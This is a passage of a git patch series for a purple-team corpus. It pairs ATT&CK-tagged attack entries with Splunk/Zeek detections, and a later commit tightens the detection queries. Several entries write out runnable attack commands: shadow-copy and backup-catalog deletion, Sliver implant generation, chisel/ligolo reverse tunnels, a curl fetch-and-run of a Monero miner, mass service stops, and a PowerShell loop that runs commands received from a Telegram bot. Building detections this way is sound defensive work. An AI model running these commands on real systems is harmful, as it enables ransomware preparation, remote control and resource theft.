during) encryption, destroy every +local rollback path so victims can't restore for free — delete Volume Shadow Copies, +wipe the backup catalog, and disable Windows recovery. It's a tight, high-signal +cluster of built-in LOLBins run back to back, almost never seen legitimately outside +a deliberate admin action. That very cluster is the earliest reliable detection point +in the kill chain. + +```cmd +vssadmin delete shadows /all /quiet +wmic shadowcopy delete +wbadmin delete catalog -quiet +bcdedit /set {default} recoveryenabled no +bcdedit /set {default} bootstatuspolicy ignoreallfailures +``` diff --git a/entries/red/mtls-c2-sliver.md b/entries/red/mtls-c2-sliver.md new file mode 100644 index 0000000..98ca7f3 --- /dev/null +++ b/entries/red/mtls-c2-sliver.md @@ -0,0 +1,25 @@ +--- +id: mtls-c2-sliver +title: Mutual-TLS C2 session (Sliver mTLS implant) +section: Command & Control +phase: Command & Control +attack: + tactic: TA0011 + techniques: [T1573.002] +platform: [windows, network] +source: MITRE ATT&CK T1573.002; Sliver / Mythic mTLS C2 +pair: mtls-c2-ja3 +--- + +A fully-interactive session channel wrapped in mutual TLS: the implant and the +server authenticate each other with per-implant certificates, so the traffic is +encrypted end to end and can't be MITM'd by an inspecting proxy without breaking the +pinned cert. Payload contents stay opaque — but the TLS *handshake* is a fingerprint. +The implant's crypto/extension ordering yields a stable JA3, and the server a stable +JA3S, which don't change across the sleep/jitter that hides the beacon cadence. + +```sh +# Sliver: stand up an mTLS listener, then generate the matching session implant +sliver > mtls --lhost {{lhost}} --lport {{port}} +sliver > generate --mtls {{lhost}}:{{port}} --os windows --save implant.exe +``` diff --git a/entries/red/ransomware-encrypt-files.md b/entries/red/ransomware-encrypt-files.md new file mode 100644 index 0000000..ea3ecfa --- /dev/null +++ b/entries/red/ransomware-encrypt-files.md @@ -0,0 +1,27 @@ +--- +id: ransomware-encrypt-files +title: Data encrypted for impact (mass file encryption) +section: Impact +phase: Impact +attack: + tactic: TA0040 + techniques: [T1486] +platform: [windows] +source: MITRE ATT&CK T1486; ransomware encryption payload +pair: mass-encrypt-4663 +--- + +The payoff stage: walk the filesystem (and mapped shares) and encrypt documents in +bulk, rename with a campaign extension, and drop a ransom note in each directory. +The behavioral signature is volumetric — one process touching a very large number of +files across many folders in a short window, rewriting each and often changing the +extension — not any single file op. On-host telemetry sees a burst of writes; the +tell is the rate and breadth, plus the note file appearing everywhere. + +```text +# behavioral shape (illustrative — do NOT run on real data): +# for each file under the target roots: +# read plaintext -> AES-encrypt -> overwrite -> rename *. +# drop .txt in every touched directory +# (a real payload also walks mapped drives \\host\share and disables VSS first) +``` diff --git a/entries/red/resource-hijack-xmrig.md b/entries/red/resource-hijack-xmrig.md new file mode 100644 index 0000000..78c40de --- /dev/null +++ b/entries/red/resource-hijack-xmrig.md @@ -0,0 +1,25 @@ +--- +id: resource-hijack-xmrig +title: Resource hijacking (cryptomining on compromised hosts) +section: Impact +phase: Impact +attack: + tactic: TA0040 + techniques: [T1496] +platform: [linux] +source: MITRE ATT&CK T1496; xmrig / cryptojacking payloads +pair: cryptomine-pool-detect +--- + +Monetize access directly by stealing compute: drop a Monero miner (xmrig and its +forks are the standard) that pegs CPU/GPU and connects to a mining pool over the +Stratum protocol. On cloud footholds the same idea scales by spinning up large or +GPU instances purely to mine. It's noisy by design — sustained ~100% CPU and a +persistent outbound connection to a pool on the usual Stratum ports — which is +exactly what makes it detectable. + +```sh +# fetch + run a miner against an attacker pool/wallet (illustrative) +curl -sL https:///xmrig -o /tmp/.x && chmod +x /tmp/.x +/tmp/.x -o stratum+tcp://:3333 -u -k --tls --cpu-max-threads-hint=90 +``` diff --git a/entries/red/reverse-tunnel-chisel.md b/entries/red/reverse-tunnel-chisel.md new file mode 100644 index 0000000..62af5ed --- /dev/null +++ b/entries/red/reverse-tunnel-chisel.md @@ -0,0 +1,27 @@ +--- +id: reverse-tunnel-chisel +title: Reverse tunnel for C2 pivoting (chisel / ligolo-ng) +section: Command & Control +phase: Command & Control +attack: + tactic: TA0011 + techniques: [T1572] +platform: [windows, network] +source: MITRE ATT&CK T1572; chisel / ligolo-ng protocol tunneling +pair: reverse-tunnel-detect +--- + +Punch out of a restricted segment by having the foothold dial *out* to an +attacker-controlled server and tunnel traffic back through that one long-lived +session — chisel multiplexes TCP/UDP over an HTTP/WebSocket-framed link, ligolo-ng +stands up a userland TUN so the whole internal subnet becomes routable from the +attacker box. Because the connection is outbound and encrypted it clears egress +rules that block inbound; the tell is the single persistent outbound session moving +disproportionate, long-duration traffic. + +```sh +# chisel: attacker runs the server; victim connects out and reverse-forwards a SOCKS proxy +chisel client https://{{lhost}}:{{port}} R:socks +# ligolo-ng: agent dials the proxy, operator routes the internal subnet through the TUN +ligolo-agent -connect {{lhost}}:{{port}} -ignore-cert +``` diff --git a/entries/red/service-stop-preransom.md b/entries/red/service-stop-preransom.md new file mode 100644 index 0000000..369d933 --- /dev/null +++ b/entries/red/service-stop-preransom.md @@ -0,0 +1,27 @@ +--- +id: service-stop-preransom +title: Stop business services before impact (unlock files for encryption) +section: Impact +phase: Impact +attack: + tactic: TA0040 + techniques: [T1489] +platform: [windows] +source: MITRE ATT&CK T1489; pre-encryption service termination +pair: service-stop-7036 +--- + +Databases, mail, and backup agents hold their files open, so ransomware first stops +them — both to release those file handles for encryption and to knock out the +recovery/AV that would interrupt it. The pattern is a rapid sweep of `net stop` / +`sc stop` (or `taskkill`) against a curated list of SQL/Exchange/Veeam/AV service +names. Legitimate maintenance stops one service deliberately; this stops dozens in +seconds, which is the tell. + +```cmd +net stop "MSSQLSERVER" /y +net stop "MSExchangeIS" /y +net stop "Veeam Backup Service" /y +sc stop "SQLTELEMETRY" +taskkill /F /IM sqlservr.exe +``` diff --git a/entries/red/web-service-c2-telegram.md b/entries/red/web-service-c2-telegram.md new file mode 100644 index 0000000..83308a0 --- /dev/null +++ b/entries/red/web-service-c2-telegram.md @@ -0,0 +1,32 @@ +--- +id: web-service-c2-telegram +title: C2 over a legitimate web service (Telegram / Slack / Gist) +section: Command & Control +phase: Command & Control +attack: + tactic: TA0011 + techniques: [T1102.002] +platform: [windows] +source: MITRE ATT&CK T1102.002; web-service bidirectional C2 +pair: web-service-c2-beacon +--- + +Instead of standing up infrastructure, ride a trusted third-party API for +bidirectional C2: the implant reads tasks from and posts results to a Telegram bot, +a Slack channel, or a GitHub Gist. The destination is `api.telegram.org` / +`slack.com` / `api.github.com` — allowlisted, TLS, high reputation — so egress +filtering and domain reputation both pass. The tell is the *process*: a +non-browser binary making periodic TLS calls to a SaaS API it has no business +touching. + +```powershell +# poll a Telegram bot for commands, execute, post output back — all over api.telegram.org +$b=""; $c="" +while($true){ + $u=irm "https://api.telegram.org/bot$b/getUpdates?offset=-1" + $cmd=$u.result[-1].message.text + $o=iex $cmd 2>&1 | Out-String + irm "https://api.telegram.org/bot$b/sendMessage" -Body @{chat_id=$c;text=$o} | Out-Null + Start-Sleep 60 +} +``` From a4bb291af356494c60ef63939f43e0698d71be95 Mon Sep 17 00:00:00 2001 From: Claude Date: Fri, 10 Jul 2026 05:44:26 +0000 Subject: [PATCH 2/2] fix(corpus): tighten SPL/Zeek detections per review Address 8 detection-accuracy findings on the C2 + Impact blue entries: - web-service-c2-beacon: IN(...) is exact-match in Splunk; use wildcard `=` comparisons so `*.slack.com` actually matches subdomains. - cryptomine-pool-detect: drop the non-existent conn.log `resp_domain` field; keep the base query port-based, enrich via dns.log/ssl.log. - reverse-tunnel-detect: RFC1918 exclusion needs cidrmatch(), not `NOT id.resp_h IN (CIDR,...)`. - dns-tunnel-sysmon-22: group by extracted parent_domain to match the prose (was Image,host only). - dga-nxdomain-entropy: replace the undefined `dns_entropy` macro with a self-contained length + vowel-ratio heuristic. - mass-encrypt-4663: extract the directory path before dc() so `dirs` counts folders, not drive letters. - account-removal-4725: event_ids now include 4729/4733 to match the group-removal content. - service-stop-7036: tighten metadata to 7036-only (the provided query), 4688 kept as explicit out-of-band corroboration. Co-Authored-By: Claude Opus 4.8 Claude-Session: https://claude.ai/code/session_012CpbBxJLgsg3T3ropqYGJA --- entries/blue/account-removal-4725.md | 4 ++-- entries/blue/cryptomine-pool-detect.md | 6 ++++-- entries/blue/dga-nxdomain-entropy.md | 19 ++++++++++--------- entries/blue/dns-tunnel-sysmon-22.md | 3 ++- entries/blue/mass-encrypt-4663.md | 3 ++- entries/blue/reverse-tunnel-detect.md | 3 ++- entries/blue/service-stop-7036.md | 11 ++++++----- entries/blue/web-service-c2-beacon.md | 4 ++-- 8 files changed, 30 insertions(+), 23 deletions(-) diff --git a/entries/blue/account-removal-4725.md b/entries/blue/account-removal-4725.md index 1fb576b..7251289 100644 --- a/entries/blue/account-removal-4725.md +++ b/entries/blue/account-removal-4725.md @@ -1,8 +1,8 @@ --- id: account-removal-4725 -title: Detect account access removal (4724/4725/4726 on admins) +title: Detect account access removal (admin disable/delete/reset + group removal) detection: splunk-spl -event_ids: [4724, 4725, 4726] +event_ids: [4724, 4725, 4726, 4729, 4733] attack: tactic: TA0040 techniques: [T1531] diff --git a/entries/blue/cryptomine-pool-detect.md b/entries/blue/cryptomine-pool-detect.md index f344f26..08c9fdd 100644 --- a/entries/blue/cryptomine-pool-detect.md +++ b/entries/blue/cryptomine-pool-detect.md @@ -16,10 +16,12 @@ period, and an outbound connection speaking Stratum to a mining pool — often o outbound connections to pool-domain/port indicators from server or workstation fleets, and corroborate with EDR process telemetry for the CPU peg and miner command-line flags (`--cpu-max-threads-hint`, `stratum+tcp://`). Either signal alone -is worth a look; together they're high fidelity. +is worth a look; together they're high fidelity. Keep the base query port-based +(`conn.log` has no hostname field), then enrich the survivors with `dns.log`/`ssl.log` +to resolve `id.resp_h` and match known pool domains (`*xmr*`, `*minexmr*`, `*nanopool*`). ```spl -index=zeek sourcetype=zeek:conn (id.resp_p IN (3333,5555,7777,14444) OR resp_domain IN ("*.pool.*","*xmr*","*minexmr*","*nanopool*")) +index=zeek sourcetype=zeek:conn id.resp_p IN (3333,5555,7777,14444) | stats count, sum(orig_bytes) as bytes_out, max(duration) as longest by id.orig_h, id.resp_h, id.resp_p | where count>5 | sort - longest diff --git a/entries/blue/dga-nxdomain-entropy.md b/entries/blue/dga-nxdomain-entropy.md index e7d1dfc..5903875 100644 --- a/entries/blue/dga-nxdomain-entropy.md +++ b/entries/blue/dga-nxdomain-entropy.md @@ -11,18 +11,19 @@ pair: dga-c2-domains --- A DGA host generates far more domains than register, so it leaves a trail of failed -resolutions to names no human would type: high character entropy, no dictionary +resolutions to names no human would type: high character randomness, no dictionary words, unusual TLD spread. Alert when a single `Image`/host produces a burst of -distinct NXDOMAIN (or QueryStatus≠0) results with high average label entropy in a -short window. Sysmon 22 gives the process; the resolver's NXDOMAIN log gives the -failures — either alone works, together they're high fidelity. Baseline out -telemetry/antivirus clients that probe many names. +distinct NXDOMAIN (or QueryStatus≠0) results whose labels are long and vowel-poor +in a short window — a self-contained proxy for the entropy a `dns_entropy` macro +would score if you have one. Sysmon 22 gives the process; the resolver's NXDOMAIN +log gives the failures — either alone works, together they're high fidelity. +Baseline out telemetry/antivirus clients that probe many names. ```spl index=sysmon EventCode=22 QueryStatus!=0 -| eval label=mvindex(split(QueryName,"."),0) -| `dns_entropy(label)` -| stats count as nxdomains, dc(QueryName) as uniq, avg(entropy) as avg_entropy by Image, host -| where nxdomains>50 AND avg_entropy>3.5 +| eval label=mvindex(split(QueryName,"."),0), llen=len(label) +| eval vowels=llen-len(replace(lower(label),"[aeiou]","")), vowel_ratio=vowels/llen +| stats count as nxdomains, dc(QueryName) as uniq, avg(llen) as avg_len, avg(vowel_ratio) as avg_vowel by Image, host +| where nxdomains>50 AND avg_len>12 AND avg_vowel<0.3 | sort - nxdomains ``` diff --git a/entries/blue/dns-tunnel-sysmon-22.md b/entries/blue/dns-tunnel-sysmon-22.md index 1817662..8a4730b 100644 --- a/entries/blue/dns-tunnel-sysmon-22.md +++ b/entries/blue/dns-tunnel-sysmon-22.md @@ -20,7 +20,8 @@ Baseline out CDNs and telemetry endpoints that legitimately fan out subdomains. ```spl index=sysmon EventCode=22 | eval label=mvindex(split(QueryName,"."),0), qlen=len(label) -| stats count, dc(QueryName) as uniq, avg(qlen) as avg_label_len by Image, host +| rex field=QueryName "(?[^.]+\.[^.]+)$" +| stats count, dc(QueryName) as uniq, avg(qlen) as avg_label_len by Image, host, parent_domain | where uniq>100 AND avg_label_len>25 | sort - uniq ``` diff --git a/entries/blue/mass-encrypt-4663.md b/entries/blue/mass-encrypt-4663.md index a5955c3..4574e57 100644 --- a/entries/blue/mass-encrypt-4663.md +++ b/entries/blue/mass-encrypt-4663.md @@ -21,7 +21,8 @@ back it with canary files for a low-false-positive trip. ```spl index=wineventlog EventCode=4663 Accesses="*WriteData*" | bucket _time span=1m -| stats dc(Object_Name) as files, dc(mvindex(split(Object_Name,"\\"),0)) as dirs by _time, host, Process_Name +| rex field=Object_Name "(?.+)\\[^\\]+$" +| stats dc(Object_Name) as files, dc(dir) as dirs by _time, host, Process_Name | where files>200 | sort - files ``` diff --git a/entries/blue/reverse-tunnel-detect.md b/entries/blue/reverse-tunnel-detect.md index e217924..fc1c26d 100644 --- a/entries/blue/reverse-tunnel-detect.md +++ b/entries/blue/reverse-tunnel-detect.md @@ -18,7 +18,8 @@ both directions from a server/workstation that shouldn't hold persistent outboun sessions; enrich with chisel/ligolo JA3 fingerprints and destination reputation. ```spl -index=zeek sourcetype=zeek:conn NOT id.resp_h IN (10.0.0.0/8,172.16.0.0/12,192.168.0.0/16) +index=zeek sourcetype=zeek:conn +| where NOT (cidrmatch("10.0.0.0/8",id.resp_h) OR cidrmatch("172.16.0.0/12",id.resp_h) OR cidrmatch("192.168.0.0/16",id.resp_h)) | where duration>1800 AND orig_bytes>1000000 AND resp_bytes>1000000 | table _time, id.orig_h, id.resp_h, id.resp_p, duration, orig_bytes, resp_bytes, ja3 | sort - duration diff --git a/entries/blue/service-stop-7036.md b/entries/blue/service-stop-7036.md index 35d0bd3..2452294 100644 --- a/entries/blue/service-stop-7036.md +++ b/entries/blue/service-stop-7036.md @@ -1,19 +1,20 @@ --- id: service-stop-7036 -title: Detect pre-encryption service kills (7036 / 4688 stop burst) +title: Detect pre-encryption service kills (7036 stop burst) detection: splunk-spl -event_ids: [7036, 4688] +event_ids: [7036] attack: tactic: TA0040 techniques: [T1489] -source: Service Control Manager (7036) + process-creation (4688) +source: Service Control Manager stop events (Event ID 7036) pair: service-stop-preransom --- One service stopping is routine; a *burst* of business-critical services entering the stopped state within seconds is not. Correlate SCM Event ID 7036 ("entered the -stopped state") across many distinct services per host in a short window, and/or -4688 for `net.exe stop` / `sc.exe stop` / `taskkill.exe` against DB/mail/backup/AV +stopped state") across many distinct services per host in a short window; the query +below is 7036-only. Corroborate out-of-band with process-creation (4688) for the +`net.exe stop` / `sc.exe stop` / `taskkill.exe` command lines against DB/mail/backup/AV names. Weight the alert when the stopped set includes backup or endpoint-protection services — the combination immediately preceding, or interleaved with, a file-write storm is an active-encryption indicator. diff --git a/entries/blue/web-service-c2-beacon.md b/entries/blue/web-service-c2-beacon.md index e401b34..641ed8f 100644 --- a/entries/blue/web-service-c2-beacon.md +++ b/entries/blue/web-service-c2-beacon.md @@ -19,8 +19,8 @@ API-consumers per host and alert on the rest, weighting unsigned images and user-writable paths. ```spl -index=sysmon EventCode=3 DestinationHostname IN ("api.telegram.org","*.slack.com","api.github.com","gist.githubusercontent.com") -| search NOT Image IN ("*\\chrome.exe","*\\msedge.exe","*\\firefox.exe","*\\Teams.exe") +index=sysmon EventCode=3 (DestinationHostname="api.telegram.org" OR DestinationHostname="*.slack.com" OR DestinationHostname="api.github.com" OR DestinationHostname="gist.githubusercontent.com") +| search NOT (Image="*\\chrome.exe" OR Image="*\\msedge.exe" OR Image="*\\firefox.exe" OR Image="*\\Teams.exe") | stats count, values(DestinationHostname) as dests by host, Image, User | where count>3 ```